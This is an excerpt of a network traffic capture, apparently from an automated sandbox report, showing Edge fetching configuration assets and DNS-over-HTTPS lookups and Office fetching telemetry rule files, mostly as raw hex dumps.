2024-11-28 01:27:42 UTC	16384	IN	Data Raw: b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d Data Ascii: O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 Data Ascii: jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: 6b b9 2f c1 49 79 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 Data Ascii: k/IyMR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: 4d 31 65 8e 49 77 c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c Data Ascii: M1eIwyfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: 06 c3 c0 20 42 f6 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 Data Ascii: Bb.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]h
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: 58 64 70 1a 03 5a 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da Data Ascii: XdpZu\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPT
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: b4 be 3b 59 b1 6b f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 Data Ascii: ;YkJj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]b
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: c3 87 e4 2f 7d 48 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 Data Ascii: /}HIdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.6	49871	13.107.246.63	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:42 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-28 01:27:42 UTC	576	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:42 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: e1bd38c5-801e-0032-6b7f-4030d7000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241128T012742Z-174f7845968swgbqhC1EWRmnb40000000xzg0000000027yk Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-28 01:27:42 UTC	15808	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-28 01:27:42 UTC	16384	IN	Data Raw: c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 29 8b 4d 52 3a c4 97 Data Ascii: qb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1)MR:
2024-11-28 01:27:42 UTC	16384	IN	Data Raw: c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 f5 72 cd 6b 58 b5 9b Data Ascii: Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|crkX
2024-11-28 01:27:43 UTC	16384	IN	Data Raw: 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 3b 35 42 38 50 3b bc Data Ascii: AHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`;5B8P;
2024-11-28 01:27:43 UTC	5247	IN	Data Raw: 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 cf 54 85 de 92 34 2e Data Ascii: *'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDYT4.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.6	49873	162.159.61.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:42 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693bd6a94439d-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 06 00 04 8e fb 28 a3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom()

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.6	49874	172.64.41.3	443	7632	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:42 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-28 01:27:42 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-28 01:27:43 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Thu, 28 Nov 2024 01:27:43 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e9693be29fc183d-EWR alt-svc: h3=":443"; ma=86400
2024-11-28 01:27:43 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 1d 00 04 8e fa 51 e3 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomQ)

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.6	49872	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:43 UTC	192	OUT	GET /rules/rule120659v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-28 01:27:43 UTC	470	IN	HTTP/1.1 200 OK Date: Thu, 28 Nov 2024 01:27:43 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3EAF226" x-ms-request-id: 4defd72f-901e-005b-7278-402005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241128T012743Z-174f7845968nxc96hC1EWRspw80000000xh0000000005m3c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-28 01:27:43 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 50 70 5d 5b 45 65 5d 5b 4e 6e 5d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 43 63 5d 5b 4b 6b 5d 20 5b 46 66 5d 5b 4f 6f 5d 5b 55 75 5d 5b 4e 6e 5d 5b 44 64 5d 5b 41 61 5d 5b 54 74 5d 5b 49 69 5d 5b 4f 6f 5d 5b 4e 6e 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120659" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120657" /> <SR T="2" R="([Oo][Pp][Ee][Nn][Ss][Tt][Aa][Cc][Kk] [Ff][Oo][Uu][Nn][Dd][Aa][Tt][Ii][Oo][Nn])"> <S T="1" F="1" M="I

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.6	49875	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-28 01:27:43 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
